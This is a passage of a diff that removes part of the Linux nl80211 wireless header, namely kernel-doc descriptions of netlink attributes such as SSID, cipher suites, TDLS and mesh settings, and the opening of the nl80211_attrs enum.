- *	an array of command numbers (i.e. a mapping index to command number)
- *	that the driver for the given wiphy supports.
- *
- * @NL80211_ATTR_FRAME: frame data (binary attribute), including frame header
- *	and body, but not FCS; used, e.g., with NL80211_CMD_AUTHENTICATE and
- *	NL80211_CMD_ASSOCIATE events
- * @NL80211_ATTR_SSID: SSID (binary attribute, 0..32 octets)
- * @NL80211_ATTR_AUTH_TYPE: AuthenticationType, see &enum nl80211_auth_type,
- *	represented as a u32
- * @NL80211_ATTR_REASON_CODE: ReasonCode for %NL80211_CMD_DEAUTHENTICATE and
- *	%NL80211_CMD_DISASSOCIATE, u16
- *
- * @NL80211_ATTR_KEY_TYPE: Key Type, see &enum nl80211_key_type, represented as
- *	a u32
- *
- * @NL80211_ATTR_FREQ_BEFORE: A channel which has suffered a regulatory change
- * 	due to considerations from a beacon hint. This attribute reflects
- * 	the state of the channel _before_ the beacon hint processing. This
- * 	attributes consists of a nested attribute containing
- * 	NL80211_FREQUENCY_ATTR_*
- * @NL80211_ATTR_FREQ_AFTER: A channel which has suffered a regulatory change
- * 	due to considerations from a beacon hint. This attribute reflects
- * 	the state of the channel _after_ the beacon hint processing. This
- * 	attributes consists of a nested attribute containing
- * 	NL80211_FREQUENCY_ATTR_*
- *
- * @NL80211_ATTR_CIPHER_SUITES: a set of u32 values indicating the supported
- *	cipher suites
- *
- * @NL80211_ATTR_FREQ_FIXED: a flag indicating the IBSS should not try to look
- *	for other networks on different channels
- *
- * @NL80211_ATTR_TIMED_OUT: a flag indicating than an operation timed out; this
- *	is used, e.g., with %NL80211_CMD_AUTHENTICATE event
- *
- * @NL80211_ATTR_USE_MFP: Whether management frame protection (IEEE 802.11w) is
- *	used for the association (&enum nl80211_mfp, represented as a u32);
- *	this attribute can be used
- *	with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests
- *
- * @NL80211_ATTR_STA_FLAGS2: Attribute containing a
- *	&struct nl80211_sta_flag_update.
- *
- * @NL80211_ATTR_CONTROL_PORT: A flag indicating whether user space controls
- *	IEEE 802.1X port, i.e., sets/clears %NL80211_STA_FLAG_AUTHORIZED, in
- *	station mode. If the flag is included in %NL80211_CMD_ASSOCIATE
- *	request, the driver will assume that the port is unauthorized until
- *	authorized by user space. Otherwise, port is marked authorized by
- *	default in station mode.
- * @NL80211_ATTR_CONTROL_PORT_ETHERTYPE: A 16-bit value indicating the
- *	ethertype that will be used for key negotiation. It can be
- *	specified with the associate and connect commands. If it is not
- *	specified, the value defaults to 0x888E (PAE, 802.1X). This
- *	attribute is also used as a flag in the wiphy information to
- *	indicate that protocols other than PAE are supported.
- * @NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT: When included along with
- *	%NL80211_ATTR_CONTROL_PORT_ETHERTYPE, indicates that the custom
- *	ethertype frames used for key negotiation must not be encrypted.
- *
- * @NL80211_ATTR_TESTDATA: Testmode data blob, passed through to the driver.
- *	We recommend using nested, driver-specific attributes within this.
- *
- * @NL80211_ATTR_DISCONNECTED_BY_AP: A flag indicating that the DISCONNECT
- *	event was due to the AP disconnecting the station, and not due to
- *	a local disconnect request.
- * @NL80211_ATTR_STATUS_CODE: StatusCode for the %NL80211_CMD_CONNECT
- *	event (u16)
- * @NL80211_ATTR_PRIVACY: Flag attribute, used with connect(), indicating
- *	that protected APs should be used. This is also used with NEW_BEACON to
- *	indicate that the BSS is to use protection.
- *
- * @NL80211_ATTR_CIPHERS_PAIRWISE: Used with CONNECT, ASSOCIATE, and NEW_BEACON
- *	to indicate which unicast key ciphers will be used with the connection
- *	(an array of u32).
- * @NL80211_ATTR_CIPHER_GROUP: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
- *	indicate which group key cipher will be used with the connection (a
- *	u32).
- * @NL80211_ATTR_WPA_VERSIONS: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
- *	indicate which WPA version(s) the AP we want to associate with is using
- *	(a u32 with flags from &enum nl80211_wpa_versions).
- * @NL80211_ATTR_AKM_SUITES: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
- *	indicate which key management algorithm(s) to use (an array of u32).
- *
- * @NL80211_ATTR_REQ_IE: (Re)association request information elements as
- *	sent out by the card, for ROAM and successful CONNECT events.
- * @NL80211_ATTR_RESP_IE: (Re)association response information elements as
- *	sent by peer, for ROAM and successful CONNECT events.
- *
- * @NL80211_ATTR_PREV_BSSID: previous BSSID, to be used by in ASSOCIATE
- *	commands to specify using a reassociate frame
- *
- * @NL80211_ATTR_KEY: key information in a nested attribute with
- *	%NL80211_KEY_* sub-attributes
- * @NL80211_ATTR_KEYS: array of keys for static WEP keys for connect()
- *	and join_ibss(), key information is in a nested attribute each
- *	with %NL80211_KEY_* sub-attributes
- *
- * @NL80211_ATTR_PID: Process ID of a network namespace.
- *
- * @NL80211_ATTR_GENERATION: Used to indicate consistent snapshots for
- *	dumps. This number increases whenever the object list being
- *	dumped changes, and as such userspace can verify that it has
- *	obtained a complete and consistent snapshot by verifying that
- *	all dump messages contain the same generation number. If it
- *	changed then the list changed and the dump should be repeated
- *	completely from scratch.
- *
- * @NL80211_ATTR_4ADDR: Use 4-address frames on a virtual interface
- *
- * @NL80211_ATTR_SURVEY_INFO: survey information about a channel, part of
- *      the survey response for %NL80211_CMD_GET_SURVEY, nested attribute
- *      containing info as possible, see &enum survey_info.
- *
- * @NL80211_ATTR_PMKID: PMK material for PMKSA caching.
- * @NL80211_ATTR_MAX_NUM_PMKIDS: maximum number of PMKIDs a firmware can
- *	cache, a wiphy attribute.
- *
- * @NL80211_ATTR_DURATION: Duration of an operation in milliseconds, u32.
- * @NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION: Device attribute that
- *	specifies the maximum duration that can be requested with the
- *	remain-on-channel operation, in milliseconds, u32.
- *
- * @NL80211_ATTR_COOKIE: Generic 64-bit cookie to identify objects.
- *
- * @NL80211_ATTR_TX_RATES: Nested set of attributes
- *	(enum nl80211_tx_rate_attributes) describing TX rates per band. The
- *	enum nl80211_band value is used as the index (nla_type() of the nested
- *	data. If a band is not included, it will be configured to allow all
- *	rates based on negotiated supported rates information. This attribute
- *	is used with %NL80211_CMD_SET_TX_BITRATE_MASK.
- *
- * @NL80211_ATTR_FRAME_MATCH: A binary attribute which typically must contain
- *	at least one byte, currently used with @NL80211_CMD_REGISTER_FRAME.
- * @NL80211_ATTR_FRAME_TYPE: A u16 indicating the frame type/subtype for the
- *	@NL80211_CMD_REGISTER_FRAME command.
- * @NL80211_ATTR_TX_FRAME_TYPES: wiphy capability attribute, which is a
- *	nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
- *	information about which frame types can be transmitted with
- *	%NL80211_CMD_FRAME.
- * @NL80211_ATTR_RX_FRAME_TYPES: wiphy capability attribute, which is a
- *	nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
- *	information about which frame types can be registered for RX.
- *
- * @NL80211_ATTR_ACK: Flag attribute indicating that the frame was
- *	acknowledged by the recipient.
- *
- * @NL80211_ATTR_PS_STATE: powersave state, using &enum nl80211_ps_state values.
- *
- * @NL80211_ATTR_CQM: connection quality monitor configuration in a
- *	nested attribute with %NL80211_ATTR_CQM_* sub-attributes.
- *
- * @NL80211_ATTR_LOCAL_STATE_CHANGE: Flag attribute to indicate that a command
- *	is requesting a local authentication/association state change without
- *	invoking actual management frame exchange. This can be used with
- *	NL80211_CMD_AUTHENTICATE, NL80211_CMD_DEAUTHENTICATE,
- *	NL80211_CMD_DISASSOCIATE.
- *
- * @NL80211_ATTR_AP_ISOLATE: (AP mode) Do not forward traffic between stations
- *	connected to this BSS.
- *
- * @NL80211_ATTR_WIPHY_TX_POWER_SETTING: Transmit power setting type. See
- *      &enum nl80211_tx_power_setting for possible values.
- * @NL80211_ATTR_WIPHY_TX_POWER_LEVEL: Transmit power level in signed mBm units.
- *      This is used in association with @NL80211_ATTR_WIPHY_TX_POWER_SETTING
- *      for non-automatic settings.
- *
- * @NL80211_ATTR_SUPPORT_IBSS_RSN: The device supports IBSS RSN, which mostly
- *	means support for per-station GTKs.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_TX: Bitmap of allowed antennas for transmitting.
- *	This can be used to mask out antennas which are not attached or should
- *	not be used for transmitting. If an antenna is not selected in this
- *	bitmap the hardware is not allowed to transmit on this antenna.
- *
- *	Each bit represents one antenna, starting with antenna 1 at the first
- *	bit. Depending on which antennas are selected in the bitmap, 802.11n
- *	drivers can derive which chainmasks to use (if all antennas belonging to
- *	a particular chain are disabled this chain should be disabled) and if
- *	a chain has diversity antennas wether diversity should be used or not.
- *	HT capabilities (STBC, TX Beamforming, Antenna selection) can be
- *	derived from the available chains after applying the antenna mask.
- *	Non-802.11n drivers can derive wether to use diversity or not.
- *	Drivers may reject configurations or RX/TX mask combinations they cannot
- *	support by returning -EINVAL.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_RX: Bitmap of allowed antennas for receiving.
- *	This can be used to mask out antennas which are not attached or should
- *	not be used for receiving. If an antenna is not selected in this bitmap
- *	the hardware should not be configured to receive on this antenna.
- *	For a more detailed description see @NL80211_ATTR_WIPHY_ANTENNA_TX.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX: Bitmap of antennas which are available
- *	for configuration as TX antennas via the above parameters.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX: Bitmap of antennas which are available
- *	for configuration as RX antennas via the above parameters.
- *
- * @NL80211_ATTR_MCAST_RATE: Multicast tx rate (in 100 kbps) for IBSS
- *
- * @NL80211_ATTR_OFFCHANNEL_TX_OK: For management frame TX, the frame may be
- *	transmitted on another channel when the channel given doesn't match
- *	the current channel. If the current channel doesn't match and this
- *	flag isn't set, the frame will be rejected. This is also used as an
- *	nl80211 capability flag.
- *
- * @NL80211_ATTR_BSS_HT_OPMODE: HT operation mode (u16)
- *
- * @NL80211_ATTR_KEY_DEFAULT_TYPES: A nested attribute containing flags
- *	attributes, specifying what a key should be set as default as.
- *	See &enum nl80211_key_default_types.
- *
- * @NL80211_ATTR_MESH_SETUP: Optional mesh setup parameters.  These cannot be
- *	changed once the mesh is active.
- * @NL80211_ATTR_MESH_CONFIG: Mesh configuration parameters, a nested attribute
- *	containing attributes from &enum nl80211_meshconf_params.
- * @NL80211_ATTR_SUPPORT_MESH_AUTH: Currently, this means the underlying driver
- *	allows auth frames in a mesh to be passed to userspace for processing
- *via the @NL80211_MESH_SETUP_USERSPACE_AUTH flag.
- * @NL80211_ATTR_STA_PLINK_STATE: The state of a mesh peer link as defined in
- *	&enum nl80211_plink_state. Used when userspace is driving the peer link
- *	management state machine.  @NL80211_MESH_SETUP_USERSPACE_AMPE or
- *	@NL80211_MESH_SETUP_USERSPACE_MPM must be enabled.
- *
- * @NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED: indicates, as part of the wiphy
- *	capabilities, the supported WoWLAN triggers
- * @NL80211_ATTR_WOWLAN_TRIGGERS: used by %NL80211_CMD_SET_WOWLAN to
- *	indicate which WoW triggers should be enabled. This is also
- *	used by %NL80211_CMD_GET_WOWLAN to get the currently enabled WoWLAN
- *	triggers.
- *
- * @NL80211_ATTR_SCHED_SCAN_INTERVAL: Interval between scheduled scan
- *	cycles, in msecs.
- *
- * @NL80211_ATTR_SCHED_SCAN_MATCH: Nested attribute with one or more
- *	sets of attributes to match during scheduled scans.  Only BSSs
- *	that match any of the sets will be reported.  These are
- *	pass-thru filter rules.
- *	For a match to succeed, the BSS must match all attributes of a
- *	set.  Since not every hardware supports matching all types of
- *	attributes, there is no guarantee that the reported BSSs are
- *	fully complying with the match sets and userspace needs to be
- *	able to ignore them by itself.
- *	Thus, the implementation is somewhat hardware-dependent, but
- *	this is only an optimization and the userspace application
- *	needs to handle all the non-filtered results anyway.
- *	If the match attributes don't make sense when combined with
- *	the values passed in @NL80211_ATTR_SCAN_SSIDS (eg. if an SSID
- *	is included in the probe request, but the match attributes
- *	will never let it go through), -EINVAL may be returned.
- *	If ommited, no filtering is done.
- *
- * @NL80211_ATTR_INTERFACE_COMBINATIONS: Nested attribute listing the supported
- *	interface combinations. In each nested item, it contains attributes
- *	defined in &enum nl80211_if_combination_attrs.
- * @NL80211_ATTR_SOFTWARE_IFTYPES: Nested attribute (just like
- *	%NL80211_ATTR_SUPPORTED_IFTYPES) containing the interface types that
- *	are managed in software: interfaces of these types aren't subject to
- *	any restrictions in their number or combinations.
- *
- * @NL80211_ATTR_REKEY_DATA: nested attribute containing the information
- *	necessary for GTK rekeying in the device, see &enum nl80211_rekey_data.
- *
- * @NL80211_ATTR_SCAN_SUPP_RATES: rates per to be advertised as supported in
- *scan, nested array attribute containing an entry for each band, with the entry
- *	being a list of supported rates as defined by IEEE 802.11 7.3.2.2 but
- *	without the length restriction (at most %NL80211_MAX_SUPP_RATES).
- *
- * @NL80211_ATTR_HIDDEN_SSID: indicates whether SSID is to be hidden from Beacon
- *	and Probe Response (when response to wildcard Probe Request); see
- *	&enum nl80211_hidden_ssid, represented as a u32
- *
- * @NL80211_ATTR_IE_PROBE_RESP: Information element(s) for Probe Response frame.
- *	This is used with %NL80211_CMD_NEW_BEACON and %NL80211_CMD_SET_BEACON to
- *	provide extra IEs (e.g., WPS/P2P IE) into Probe Response frames when the
- *	driver (or firmware) replies to Probe Request frames.
- * @NL80211_ATTR_IE_ASSOC_RESP: Information element(s) for (Re)Association
- *	Response frames. This is used with %NL80211_CMD_NEW_BEACON and
- *	%NL80211_CMD_SET_BEACON to provide extra IEs (e.g., WPS/P2P IE) into
- *	(Re)Association Response frames when the driver (or firmware) replies to
- *	(Re)Association Request frames.
- *
- * @NL80211_ATTR_STA_WME: Nested attribute containing the wme configuration
- *	of the station, see &enum nl80211_sta_wme_attr.
- * @NL80211_ATTR_SUPPORT_AP_UAPSD: the device supports uapsd when working
- *	as AP.
- *
- * @NL80211_ATTR_ROAM_SUPPORT: Indicates whether the firmware is capable of
- *	roaming to another AP in the same ESS if the signal lever is low.
- *
- * @NL80211_ATTR_PMKSA_CANDIDATE: Nested attribute containing the PMKSA caching
- *	candidate information, see &enum nl80211_pmksa_candidate_attr.
- *
- * @NL80211_ATTR_TX_NO_CCK_RATE: Indicates whether to use CCK rate or not
- *	for management frames transmission. In order to avoid p2p probe/action
- *	frames are being transmitted at CCK rate in 2GHz band, the user space
- *	applications use this attribute.
- *	This attribute is used with %NL80211_CMD_TRIGGER_SCAN and
- *	%NL80211_CMD_FRAME commands.
- *
- * @NL80211_ATTR_TDLS_ACTION: Low level TDLS action code (e.g. link setup
- *	request, link setup confirm, link teardown, etc.). Values are
- *	described in the TDLS (802.11z) specification.
- * @NL80211_ATTR_TDLS_DIALOG_TOKEN: Non-zero token for uniquely identifying a
- *	TDLS conversation between two devices.
- * @NL80211_ATTR_TDLS_OPERATION: High level TDLS operation; see
- *	&enum nl80211_tdls_operation, represented as a u8.
- * @NL80211_ATTR_TDLS_SUPPORT: A flag indicating the device can operate
- *	as a TDLS peer sta.
- * @NL80211_ATTR_TDLS_EXTERNAL_SETUP: The TDLS discovery/setup and teardown
- *	procedures should be performed by sending TDLS packets via
- *	%NL80211_CMD_TDLS_MGMT. Otherwise %NL80211_CMD_TDLS_OPER should be
- *	used for asking the driver to perform a TDLS operation.
- *
- * @NL80211_ATTR_DEVICE_AP_SME: This u32 attribute may be listed for devices
- *	that have AP support to indicate that they have the AP SME integrated
- *	with support for the features listed in this attribute, see
- *	&enum nl80211_ap_sme_features.
- *
- * @NL80211_ATTR_DONT_WAIT_FOR_ACK: Used with %NL80211_CMD_FRAME, this tells
- *	the driver to not wait for an acknowledgement. Note that due to this,
- *	it will also not give a status callback nor return a cookie. This is
- *	mostly useful for probe responses to save airtime.
- *
- * @NL80211_ATTR_FEATURE_FLAGS: This u32 attribute contains flags from
- *	&enum nl80211_feature_flags and is advertised in wiphy information.
- * @NL80211_ATTR_PROBE_RESP_OFFLOAD: Indicates that the HW responds to probe
- *	requests while operating in AP-mode.
- *	This attribute holds a bitmap of the supported protocols for
- *	offloading (see &enum nl80211_probe_resp_offload_support_attr).
- *
- * @NL80211_ATTR_PROBE_RESP: Probe Response template data. Contains the entire
- *	probe-response frame. The DA field in the 802.11 header is zero-ed out,
- *	to be filled by the FW.
- * @NL80211_ATTR_DISABLE_HT:  Force HT capable interfaces to disable
- *      this feature.  Currently, only supported in mac80211 drivers.
- * @NL80211_ATTR_HT_CAPABILITY_MASK: Specify which bits of the
- *      ATTR_HT_CAPABILITY to which attention should be paid.
- *      Currently, only mac80211 NICs support this feature.
- *      The values that may be configured are:
- *       MCS rates, MAX-AMSDU, HT-20-40 and HT_CAP_SGI_40
- *       AMPDU density and AMPDU factor.
- *      All values are treated as suggestions and may be ignored
- *      by the driver as required.  The actual values may be seen in
- *      the station debugfs ht_caps file.
- *
- * @NL80211_ATTR_DFS_REGION: region for regulatory rules which this country
- *    abides to when initiating radiation on DFS channels. A country maps
- *    to one DFS region.
- *
- * @NL80211_ATTR_NOACK_MAP: This u16 bitmap contains the No Ack Policy of
- *      up to 16 TIDs.
- *
- * @NL80211_ATTR_INACTIVITY_TIMEOUT: timeout value in seconds, this can be
- *	used by the drivers which has MLME in firmware and does not have support
- *	to report per station tx/rx activity to free up the staion entry from
- *	the list. This needs to be used when the driver advertises the
- *	capability to timeout the stations.
- *
- * @NL80211_ATTR_RX_SIGNAL_DBM: signal strength in dBm (as a 32-bit int);
- *	this attribute is (depending on the driver capabilities) added to
- *	received frames indicated with %NL80211_CMD_FRAME.
- *
- * @NL80211_ATTR_BG_SCAN_PERIOD: Background scan period in seconds
- *      or 0 to disable background scan.
- *
- * @NL80211_ATTR_USER_REG_HINT_TYPE: type of regulatory hint passed from
- *	userspace. If unset it is assumed the hint comes directly from
- *	a user. If set code could specify exactly what type of source
- *	was used to provide the hint. For the different types of
- *	allowed user regulatory hints see nl80211_user_reg_hint_type.
- *
- * @NL80211_ATTR_CONN_FAILED_REASON: The reason for which AP has rejected
- *	the connection request from a station. nl80211_connect_failed_reason
- *	enum has different reasons of connection failure.
- *
- * @NL80211_ATTR_SAE_DATA: SAE elements in Authentication frames. This starts
- *	with the Authentication transaction sequence number field.
- *
- * @NL80211_ATTR_VHT_CAPABILITY: VHT Capability information element (from
- *	association request when used with NL80211_CMD_NEW_STATION)
- *
- * @NL80211_ATTR_SCAN_FLAGS: scan request control flags (u32)
- *
- * @NL80211_ATTR_P2P_CTWINDOW: P2P GO Client Traffic Window (u8), used with
- *	the START_AP and SET_BSS commands
- * @NL80211_ATTR_P2P_OPPPS: P2P GO opportunistic PS (u8), used with the
- *	START_AP and SET_BSS commands. This can have the values 0 or 1;
- *	if not given in START_AP 0 is assumed, if not given in SET_BSS
- *	no change is made.
- *
- * @NL80211_ATTR_LOCAL_MESH_POWER_MODE: local mesh STA link-specific power mode
- *	defined in &enum nl80211_mesh_power_mode.
- *
- * @NL80211_ATTR_ACL_POLICY: ACL policy, see &enum nl80211_acl_policy,
- *	carried in a u32 attribute
- *
- * @NL80211_ATTR_MAC_ADDRS: Array of nested MAC addresses, used for
- *	MAC ACL.
- *
- * @NL80211_ATTR_MAC_ACL_MAX: u32 attribute to advertise the maximum
- *	number of MAC addresses that a device can support for MAC
- *	ACL.
- *
- * @NL80211_ATTR_RADAR_EVENT: Type of radar event for notification to userspace,
- *	contains a value of enum nl80211_radar_event (u32).
- *
- * @NL80211_ATTR_EXT_CAPA: 802.11 extended capabilities that the kernel driver
- *	has and handles. The format is the same as the IE contents. See
- *	802.11-2012 8.4.2.29 for more information.
- * @NL80211_ATTR_EXT_CAPA_MASK: Extended capabilities that the kernel driver
- *	has set in the %NL80211_ATTR_EXT_CAPA value, for multibit fields.
- *
- * @NL80211_ATTR_STA_CAPABILITY: Station capabilities (u16) are advertised to
- *	the driver, e.g., to enable TDLS power save (PU-APSD).
- *
- * @NL80211_ATTR_STA_EXT_CAPABILITY: Station extended capabilities are
- *	advertised to the driver, e.g., to enable TDLS off channel operations
- *	and PU-APSD.
- *
- * @NL80211_ATTR_PROTOCOL_FEATURES: global nl80211 feature flags, see
- *	&enum nl80211_protocol_features, the attribute is a u32.
- *
- * @NL80211_ATTR_SPLIT_WIPHY_DUMP: flag attribute, userspace supports
- *	receiving the data for a single wiphy split across multiple
- *	messages, given with wiphy dump message
- *
- * @NL80211_ATTR_MDID: Mobility Domain Identifier
- *
- * @NL80211_ATTR_IE_RIC: Resource Information Container Information
- *	Element
- *
- * @NL80211_ATTR_CRIT_PROT_ID: critical protocol identifier requiring increased
- *	reliability, see &enum nl80211_crit_proto_id (u16).
- * @NL80211_ATTR_MAX_CRIT_PROT_DURATION: duration in milliseconds in which
- *      the connection should have increased reliability (u16).
- *
- * @NL80211_ATTR_PEER_AID: Association ID for the peer TDLS station (u16).
- *	This is similar to @NL80211_ATTR_STA_AID but with a difference of being
- *	allowed to be used with the first @NL80211_CMD_SET_STATION command to
- *	update a TDLS peer STA entry.
- *
- * @NL80211_ATTR_COALESCE_RULE: Coalesce rule information.
- *
- * @NL80211_ATTR_CH_SWITCH_COUNT: u32 attribute specifying the number of TBTT's
- *	until the channel switch event.
- * @NL80211_ATTR_CH_SWITCH_BLOCK_TX: flag attribute specifying that transmission
- *	must be blocked on the current channel (before the channel switch
- *	operation).
- * @NL80211_ATTR_CSA_IES: Nested set of attributes containing the IE information
- *	for the time while performing a channel switch.
- * @NL80211_ATTR_CSA_C_OFF_BEACON: An array of offsets (u16) to the channel
- *	switch counters in the beacons tail (%NL80211_ATTR_BEACON_TAIL).
- * @NL80211_ATTR_CSA_C_OFF_PRESP: An array of offsets (u16) to the channel
- *	switch counters in the probe response (%NL80211_ATTR_PROBE_RESP).
- *
- * @NL80211_ATTR_RXMGMT_FLAGS: flags for nl80211_send_mgmt(), u32.
- *	As specified in the &enum nl80211_rxmgmt_flags.
- *
- * @NL80211_ATTR_STA_SUPPORTED_CHANNELS: array of supported channels.
- *
- * @NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES: array of supported
- *      supported operating classes.
- *
- * @NL80211_ATTR_HANDLE_DFS: A flag indicating whether user space
- *	controls DFS operation in IBSS mode. If the flag is included in
- *	%NL80211_CMD_JOIN_IBSS request, the driver will allow use of DFS
- *	channels and reports radar events to userspace. Userspace is required
- *	to react to radar events, e.g. initiate a channel switch or leave the
- *	IBSS network.
- *
- * @NL80211_ATTR_SUPPORT_5_MHZ: A flag indicating that the device supports
- *	5 MHz channel bandwidth.
- * @NL80211_ATTR_SUPPORT_10_MHZ: A flag indicating that the device supports
- *	10 MHz channel bandwidth.
- *
- * @NL80211_ATTR_OPMODE_NOTIF: Operating mode field from Operating Mode
- *	Notification Element based on association request when used with
- *	%NL80211_CMD_NEW_STATION; u8 attribute.
- *
- * @NL80211_ATTR_VENDOR_ID: The vendor ID, either a 24-bit OUI or, if
- *	%NL80211_VENDOR_ID_IS_LINUX is set, a special Linux ID (not used yet)
- * @NL80211_ATTR_VENDOR_SUBCMD: vendor sub-command
- * @NL80211_ATTR_VENDOR_DATA: data for the vendor command, if any; this
- *	attribute is also used for vendor command feature advertisement
- * @NL80211_ATTR_VENDOR_EVENTS: used for event list advertising in the wiphy
- *	info, containing a nested array of possible events
- *
- * @NL80211_ATTR_QOS_MAP: IP DSCP mapping for Interworking QoS mapping. This
- *	data is in the format defined for the payload of the QoS Map Set element
- *	in IEEE Std 802.11-2012, 8.4.2.97.
- *
- * @NL80211_ATTR_MAC_HINT: MAC address recommendation as initial BSS
- * @NL80211_ATTR_WIPHY_FREQ_HINT: frequency of the recommended initial BSS
- *
- * @NL80211_ATTR_MAX_AP_ASSOC_STA: Device attribute that indicates how many
- *	associated stations are supported in AP mode (including P2P GO); u32.
- *	Since drivers may not have a fixed limit on the maximum number (e.g.,
- *	other concurrent operations may affect this), drivers are allowed to
- *	advertise values that cannot always be met. In such cases, an attempt
- *	to add a new station entry with @NL80211_CMD_NEW_STATION may fail.
- *
- * @NL80211_ATTR_CSA_C_OFFSETS_TX: An array of csa counter offsets (u16) which
- *	should be updated when the frame is transmitted.
- * @NL80211_ATTR_MAX_CSA_COUNTERS: U8 attribute used to advertise the maximum
- *	supported number of csa counters.
- *
- * @NL80211_ATTR_TDLS_PEER_CAPABILITY: flags for TDLS peer capabilities, u32.
- *	As specified in the &enum nl80211_tdls_peer_capability.
- *
- * @NL80211_ATTR_IFACE_SOCKET_OWNER: flag attribute, if set during interface
- *	creation then the new interface will be owned by the netlink socket
- *	that created it and will be destroyed when the socket is closed.
- *	If set during scheduled scan start then the new scan req will be
- *	owned by the netlink socket that created it and the scheduled scan will
- *	be stopped when the socket is closed.
- *
- * @NL80211_ATTR_TDLS_INITIATOR: flag attribute indicating the current end is
- *	the TDLS link initiator.
- *
- * @NL80211_ATTR_USE_RRM: flag for indicating whether the current connection
- *	shall support Radio Resource Measurements (11k). This attribute can be
- *	used with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests.
- *	User space applications are expected to use this flag only if the
- *	underlying device supports these minimal RRM features:
- *		%NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES,
- *		%NL80211_FEATURE_QUIET,
- *	If this flag is used, driver must add the Power Capabilities IE to the
- *	association request. In addition, it must also set the RRM capability
- *	flag in the association request's Capability Info field.
- *
- * @NL80211_ATTR_WIPHY_DYN_ACK: flag attribute used to enable ACK timeout
- *	estimation algorithm (dynack). In order to activate dynack
- *	%NL80211_FEATURE_ACKTO_ESTIMATION feature flag must be set by lower
- *	drivers to indicate dynack capability. Dynack is automatically disabled
- *	setting valid value for coverage class.
- *
- * @NL80211_ATTR_TSID: a TSID value (u8 attribute)
- * @NL80211_ATTR_USER_PRIO: user priority value (u8 attribute)
- * @NL80211_ATTR_ADMITTED_TIME: admitted time in units of 32 microseconds
- *	(per second) (u16 attribute)
- *
- * @NL80211_ATTR_SMPS_MODE: SMPS mode to use (ap mode). see
- *	&enum nl80211_smps_mode.
- *
- * @NL80211_ATTR_PBSS: flag attribute. If set it means operate
- *	in a PBSS. Specified in %NL80211_CMD_CONNECT to request
- *	connecting to a PCP, and in %NL80211_CMD_START_AP to start
- *	a PCP instead of AP. Relevant for DMG networks only.
- *
- * @NL80211_ATTR_MAX: highest attribute number currently defined
- * @__NL80211_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_attrs {
-  /* don't change the order or add anything between, this is ABI! */
-  NL80211_ATTR_UNSPEC,
-
-  NL80211_ATTR_WIPHY,
-  NL80211_ATTR_WIPHY_NAME,
-
-  NL80211_ATTR_IFINDEX,
-  NL80211_ATTR_IFNAME,
-  NL80211_ATTR_IFTYPE,
-
-  NL80211_ATTR_MAC,
-
-  NL80211_ATTR_KEY_DATA,
-  NL80211_ATTR_KEY_IDX,
-  NL80211_ATTR_KEY_CIPHER,
-  NL80211_ATTR_KEY_SEQ,
-  NL80211_ATTR_KEY_DEFAULT,
-
-  NL80211_ATTR_BEACON_INTERVAL,
-  NL80211_ATTR_DTIM_PERIOD,
-  NL80211_ATTR_BEACON_HEAD,
-  NL80211_ATTR_BEACON_TAIL,
-
-  NL80211_ATTR_STA_AID,
-  NL80211_ATTR_STA_FLAGS,
-  NL80211_ATTR_STA_LISTEN_INTERVAL,
-  NL80211_ATTR_STA_SUPPORTED_RATES,
-  NL80211_ATTR_STA_VLAN,
-  NL80211_ATTR_STA_INFO,
-
-  NL80211_ATTR_WIPHY_BANDS,
-
-  NL80211_ATTR_MNTR_FLAGS,
-
-  NL80211_ATTR_MESH_ID,
-  NL80211_ATTR_STA_PLINK_ACTION,
-  NL80211_ATTR_MPATH_NEXT_HOP,
-  NL80211_ATTR_MPATH_INFO,
-
-  NL80211_ATTR_BSS_CTS_PROT,
-  NL80211_ATTR_BSS_SHORT_PREAMBLE,
-  NL80211_ATTR_BSS_SHORT_SLOT_TIME,
-
-  NL80211_ATTR_HT_CAPABILITY,
-
-  NL80211_ATTR_SUPPORTED_IFTYPES,
-
-  NL80211_ATTR_REG_ALPHA2,
-  NL80211_ATTR_REG_RULES,
-
-  NL80211_ATTR_MESH_CONFIG,
-
-  NL80211_ATTR_BSS_BASIC_RATES,
-
-  NL80211_ATTR_WIPHY_TXQ_PARAMS,
-  NL80211_ATTR_WIPHY_FREQ,
-  NL80211_ATTR_WIPHY_CHANNEL_TYPE,
-
-  NL80211_ATTR_KEY_DEFAULT_MGMT,
-
-  NL80211_ATTR_MGMT_SUBTYPE,
-  NL80211_ATTR_IE,
-
-  NL80211_ATTR_MAX_NUM_SCAN_SSIDS,
-
-  NL80211_ATTR_SCAN_FREQUENCIES,
-  NL80211_ATTR_SCAN_SSIDS,
-  NL80211_ATTR_GENERATION, /* replaces old SCAN_GENERATION */
-  NL80211_ATTR_BSS,
-
-  NL80211_ATTR_REG_INITIATOR,
-  NL80211_ATTR_REG_TYPE,
-
-  NL80211_ATTR_SUPPORTED_COMMANDS,
-
-  NL80211_ATTR_FRAME,
-  NL80211_ATTR_SSID,
-  NL80211_ATTR_AUTH_TYPE,
-  NL80211_ATTR_REASON_CODE,
-
-  NL80211_ATTR_KEY_TYPE,
-
-  NL80211_ATTR_MAX_SCAN_IE_LEN,
-  NL80211_ATTR_CIPHER_SUITES,
-
-  NL80211_ATTR_FREQ_BEFORE,
-  NL80211_ATTR_FREQ_AFTER,
-
-  NL80211_ATTR_FREQ_FIXED,
-
-  NL80211_ATTR_WIPHY_RETRY_SHORT,
-  NL80211_ATTR_WIPHY_RETRY_LONG,
-  NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
-  NL80211_ATTR_WIPHY_RTS_THRESHOLD,
-
-  NL80211_ATTR_TIMED_OUT,
-
-  NL80211_ATTR_USE_MFP,
-
-  NL80211_ATTR_STA_FLAGS2,
-
